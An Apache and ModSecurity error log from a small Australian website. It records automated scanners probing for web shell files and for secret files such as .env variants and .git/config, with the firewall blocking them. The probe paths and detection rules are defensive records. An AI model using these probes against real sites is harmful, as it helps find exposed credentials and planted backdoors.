[Sun Apr 12 05:20:09.019031 2026] [:error] [pid 26567:tid 26583] [client 20.203.155.254:28362] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file6.php"] [unique_id "adq7CXhRpg6ptWFyFx33eAAAAQ4"]
[Sun Apr 12 05:20:09.482228 2026] [:error] [pid 25328:tid 25383] [client 20.203.155.254:10187] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file6.php"] [unique_id "adq7CcxUaQZxT-e0YsDVGQAAAE0"]
[Sun Apr 12 05:20:09.948478 2026] [:error] [pid 25328:tid 25385] [client 20.203.155.254:28362] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/up.php"] [unique_id "adq7CcxUaQZxT-e0YsDVHQAAAE4"]
[Sun Apr 12 05:20:10.415145 2026] [:error] [pid 25328:tid 25387] [client 20.203.155.254:10215] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/up.php"] [unique_id "adq7CsxUaQZxT-e0YsDVIQAAAE8"]
[Sun Apr 12 05:20:10.879562 2026] [:error] [pid 25328:tid 25369] [client 20.203.155.254:12512] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/up.php"] [unique_id "adq7CsxUaQZxT-e0YsDVJQAAAEU"]
[Sun Apr 12 05:20:11.349132 2026] [:error] [pid 60280:tid 60303] [client 20.203.155.254:15567] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/up.php"] [unique_id "adq7C3BlLnDOYuIykkjWSgAAAdU"]
[Sun Apr 12 05:20:11.813326 2026] [:error] [pid 25328:tid 25383] [client 20.203.155.254:26069] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi002.PhP7"] [unique_id "adq7C8xUaQZxT-e0YsDVKwAAAE0"]
[Sun Apr 12 05:20:12.276886 2026] [:error] [pid 25328:tid 25368] [client 20.203.155.254:28366] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi002.PhP7"] [unique_id "adq7DMxUaQZxT-e0YsDVLgAAAEQ"]
[Sun Apr 12 05:20:12.740291 2026] [:error] [pid 25328:tid 25365] [client 20.203.155.254:11696] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi002.PhP7"] [unique_id "adq7DMxUaQZxT-e0YsDVMQAAAEE"]
[Sun Apr 12 05:20:13.205210 2026] [:error] [pid 25328:tid 25372] [client 20.203.155.254:25712] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi002.PhP7"] [unique_id "adq7DcxUaQZxT-e0YsDVMgAAAEc"]
[Sun Apr 12 05:20:13.677951 2026] [:error] [pid 60280:tid 60301] [client 20.203.155.254:50629] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "adq7DXBlLnDOYuIykkjWTQAAAdM"]
[Sun Apr 12 05:20:14.140800 2026] [:error] [pid 26599:tid 26602] [client 20.203.155.254:11706] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "adq7DnG89LXoQbk_rwA1ggAAAUA"]
[Sun Apr 12 05:20:14.607688 2026] [:error] [pid 25329:tid 25414] [client 20.203.155.254:12497] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "adq7DmdcIYsS8Iyaj10rVAAAAJc"]
[Sun Apr 12 05:20:15.072779 2026] [:error] [pid 25329:tid 25400] [client 20.203.155.254:28359] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "adq7D2dcIYsS8Iyaj10rVgAAAI4"]
[Sun Apr 12 05:20:15.544728 2026] [:error] [pid 25329:tid 25381] [client 20.203.155.254:21258] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a4.php"] [unique_id "adq7D2dcIYsS8Iyaj10rVwAAAIM"]
[Sun Apr 12 05:20:16.016889 2026] [:error] [pid 26599:tid 26606] [client 20.203.155.254:3019] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a4.php"] [unique_id "adq7EHG89LXoQbk_rwA1iQAAAUQ"]
[Sun Apr 12 05:20:16.499649 2026] [:error] [pid 60280:tid 60300] [client 20.203.155.254:10198] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a4.php"] [unique_id "adq7EHBlLnDOYuIykkjWVAAAAdI"]
[Sun Apr 12 05:20:16.969903 2026] [:error] [pid 26567:tid 26585] [client 20.203.155.254:15615] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a4.php"] [unique_id "adq7EHhRpg6ptWFyFx33hQAAARA"]
[Sun Apr 12 05:20:17.436231 2026] [:error] [pid 26567:tid 26578] [client 20.203.155.254:11671] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ca.php"] [unique_id "adq7EXhRpg6ptWFyFx33hgAAAQk"]
[Sun Apr 12 05:20:17.904830 2026] [:error] [pid 60280:tid 60305] [client 20.203.155.254:25688] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ca.php"] [unique_id "adq7EXBlLnDOYuIykkjWVwAAAdc"]
[Sun Apr 12 05:20:18.370796 2026] [:error] [pid 25329:tid 25395] [client 20.203.155.254:12487] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ca.php"] [unique_id "adq7EmdcIYsS8Iyaj10rXQAAAIs"]
[Sun Apr 12 05:20:18.839787 2026] [:error] [pid 26567:tid 26593] [client 20.203.155.254:13605] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ca.php"] [unique_id "adq7EnhRpg6ptWFyFx33igAAARg"]
[Sun Apr 12 05:20:19.313024 2026] [:error] [pid 25329:tid 25411] [client 20.203.155.254:15881] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-mail.php"] [unique_id "adq7E2dcIYsS8Iyaj10rXwAAAJQ"]
[Sun Apr 12 05:20:19.790730 2026] [:error] [pid 60280:tid 60304] [client 20.203.155.254:14401] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-mail.php"] [unique_id "adq7E3BlLnDOYuIykkjWWgAAAdY"]
[Sun Apr 12 05:20:20.266315 2026] [proxy_fcgi:error] [pid 25329:tid 25406] [client 20.203.155.254:28365] AH01071: Got error 'Primary script unknown'
[Sun Apr 12 05:20:20.505422 2026] [proxy_fcgi:error] [pid 25329:tid 25409] [client 20.203.155.254:28365] AH01071: Got error 'Primary script unknown'
[Sun Apr 12 05:20:20.740569 2026] [proxy_fcgi:error] [pid 25329:tid 25393] [client 20.203.155.254:28365] AH01071: Got error 'Primary script unknown'
[Sun Apr 12 09:32:01.757559 2026] [:error] [pid 26567:tid 26582] [client 5.30.203.252:58501] [client 5.30.203.252] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "adr2EXhRpg6ptWFyFx07XAAAAQ0"]
[Sun Apr 12 09:32:02.299549 2026] [:error] [pid 25328:tid 25380] [client 5.30.203.252:58608] [client 5.30.203.252] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "adr2EsxUaQZxT-e0YsA8IAAAAEw"]
[Sun Apr 12 09:32:02.829055 2026] [:error] [pid 25328:tid 25396] [client 5.30.203.252:58752] [client 5.30.203.252] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "adr2EsxUaQZxT-e0YsA8KAAAAFM"]
[Sun Apr 12 09:32:03.360782 2026] [:error] [pid 25328:tid 25370] [client 5.30.203.252:58892] [client 5.30.203.252] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.test.local"] [unique_id "adr2E8xUaQZxT-e0YsA8LgAAAEY"]
[Sun Apr 12 09:32:03.882872 2026] [:error] [pid 26567:tid 26586] [client 5.30.203.252:59052] [client 5.30.203.252] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.test.local"] [unique_id "adr2E3hRpg6ptWFyFx07YwAAARE"]
[Sun Apr 12 09:32:04.445101 2026] [:error] [pid 60280:tid 60305] [client 5.30.203.252:59188] [client 5.30.203.252] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/CodeGolf.Web/ClientApp/.env"] [unique_id "adr2FHBlLnDOYuIykkhIOQAAAdc"]
[Sun Apr 12 09:32:04.971009 2026] [:error] [pid 25437:tid 25444] [client 5.30.203.252:59285] [client 5.30.203.252] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/CodeGolf.Web/ClientApp/.env"] [unique_id "adr2FHf97wYZje1ep_OTFQAAAMU"]
[Sun Apr 12 09:32:05.527820 2026] [:error] [pid 26567:tid 26577] [client 5.30.203.252:59373] [client 5.30.203.252] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/acme-challenge/.env"] [unique_id "adr2FXhRpg6ptWFyFx07agAAAQg"]
[Sun Apr 12 09:32:06.082976 2026] [:error] [pid 25437:tid 25443] [client 5.30.203.252:59511] [client 5.30.203.252] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/acme-challenge/.env"] [unique_id "adr2Fnf97wYZje1ep_OTFwAAAMQ"]
[Sun Apr 12 09:32:06.612100 2026] [:error] [pid 60280:tid 60303] [client 5.30.203.252:59660] [client 5.30.203.252] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/agora/.env"] [unique_id "adr2FnBlLnDOYuIykkhIPAAAAdU"]
[Sun Apr 12 09:32:07.133193 2026] [:error] [pid 26599:tid 26612] [client 5.30.203.252:59812] [client 5.30.203.252] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/agora/.env"] [unique_id "adr2F3G89LXoQbk_rwB9bAAAAUo"]
[Sun Apr 12 09:32:07.662164 2026] [:error] [pid 25437:tid 25463] [client 5.30.203.252:59959] [client 5.30.203.252] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.vscode/.env"] [unique_id "adr2F3f97wYZje1ep_OTGAAAANg"]
[Sun Apr 12 09:32:08.186527 2026] [:error] [pid 25329:tid 25413] [client 5.30.203.252:60113] [client 5.30.203.252] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.vscode/.env"] [unique_id "adr2GGdcIYsS8Iyaj11nWgAAAJY"]
[Sun Apr 12 09:32:08.747251 2026] [:error] [pid 26599:tid 26616] [client 5.30.203.252:60258] [client 5.30.203.252] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/admin-app/.env"] [unique_id "adr2GHG89LXoQbk_rwB9bgAAAU4"]
[Sun Apr 12 09:32:09.279136 2026] [:error] [pid 26599:tid 26614] [client 5.30.203.252:60362] [client 5.30.203.252] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/admin-app/.env"] [unique_id "adr2GXG89LXoQbk_rwB9cAAAAUw"]
[Sun Apr 12 09:32:09.828881 2026] [:error] [pid 25329:tid 25382] [client 5.30.203.252:60480] [client 5.30.203.252] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/alpha/.env"] [unique_id "adr2GWdcIYsS8Iyaj11nXwAAAIQ"]
[Sun Apr 12 09:32:10.359299 2026] [:error] [pid 60280:tid 60292] [client 5.30.203.252:60585] [client 5.30.203.252] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/alpha/.env"] [unique_id "adr2GnBlLnDOYuIykkhIQwAAAco"]
[Sun Apr 12 09:32:10.883307 2026] [:error] [pid 60280:tid 60306] [client 5.30.203.252:60719] [client 5.30.203.252] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.save"] [unique_id "adr2GnBlLnDOYuIykkhIlQAAAdg"]
[Sun Apr 12 09:32:11.413319 2026] [:error] [pid 25328:tid 25401] [client 5.30.203.252:60864] [client 5.30.203.252] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.save"] [unique_id "adr2G8xUaQZxT-e0YsA8ZgAAAFU"]
[Sun Apr 12 09:32:11.946889 2026] [:error] [pid 26600:tid 26636] [client 5.30.203.252:60976] [client 5.30.203.252] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/directories/.env"] [unique_id "adr2G-1YwAZiXhQKLYqvYgAAAYc"]
[Sun Apr 12 09:32:12.472290 2026] [:error] [pid 60280:tid 60305] [client 5.30.203.252:61089] [client 5.30.203.252] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/directories/.env"] [unique_id "adr2HHBlLnDOYuIykkhInwAAAdc"]
[Sun Apr 12 09:32:13.006878 2026] [:error] [pid 25437:tid 25449] [client 5.30.203.252:61206] [client 5.30.203.252] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/charts/liveObjects/.env"] [unique_id "adr2HXf97wYZje1ep_OTIAAAAMo"]
[Sun Apr 12 09:32:13.531786 2026] [:error] [pid 26599:tid 26613] [client 5.30.203.252:61348] [client 5.30.203.252] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/charts/liveObjects/.env"] [unique_id "adr2HXG89LXoQbk_rwB9cQAAAUs"]
[Sun Apr 12 15:38:42.593880 2026] [autoindex:error] [pid 25327:tid 25350] [client 143.110.240.70:63082] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sun Apr 12 16:08:18.972955 2026] [:error] [pid 26599:tid 26604] [client 193.188.113.122:44677] [client 193.188.113.122] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 193.188.113.122, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adtS8nG89LXoQbk_rwCw5AAAAUI"]
[Sun Apr 12 16:08:18.984957 2026] [proxy_fcgi:error] [pid 26599:tid 26604] [client 193.188.113.122:44677] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 04:58:33.965378 2026] [proxy_fcgi:error] [pid 11325:tid 11329] [client 59.126.168.24:52070] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 04:58:39.770157 2026] [proxy_fcgi:error] [pid 33941:tid 33961] [client 59.126.168.24:52165] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 06:03:32.563846 2026] [proxy_fcgi:error] [pid 33943:tid 34008] [client 74.248.16.65:28225] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 06:03:32.837063 2026] [proxy_fcgi:error] [pid 33943:tid 34024] [client 74.248.16.65:28225] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 06:03:33.105860 2026] [proxy_fcgi:error] [pid 33943:tid 34026] [client 74.248.16.65:28225] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 06:03:33.364875 2026] [proxy_fcgi:error] [pid 33943:tid 34025] [client 74.248.16.65:28225] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 06:03:36.970207 2026] [proxy_fcgi:error] [pid 33943:tid 34006] [client 74.248.16.65:28225] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 06:03:37.751520 2026] [:error] [pid 33943:tid 34025] [client 74.248.16.65:28225] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa-rex1.php"] [unique_id "adwWuayoXuZjocnxM5FygQAAAJM"]
[Mon Apr 13 06:03:42.973334 2026] [:error] [pid 33943:tid 34006] [client 74.248.16.65:59039] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa-rex1.php"] [unique_id "adwWvqyoXuZjocnxM5FyiwAAAIA"]
[Mon Apr 13 06:04:17.935816 2026] [:error] [pid 33943:tid 34029] [client 74.248.16.65:32607] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/suck.php"] [unique_id "adwW4ayoXuZjocnxM5FytgAAAJc"]
[Mon Apr 13 06:04:21.740212 2026] [:error] [pid 34048:tid 34057] [client 74.248.16.65:43813] [client 74.248.16.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/suck.php"] [unique_id "adwW5fSiQ_PJjlY5Ehz7IAAAAMc"]
[Mon Apr 13 06:05:00.596680 2026] [proxy_fcgi:error] [pid 11325:tid 11331] [client 74.248.16.65:25155] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 06:05:01.127231 2026] [proxy_fcgi:error] [pid 11325:tid 11330] [client 74.248.16.65:25155] AH01071: Got error 'Primary script unknown'
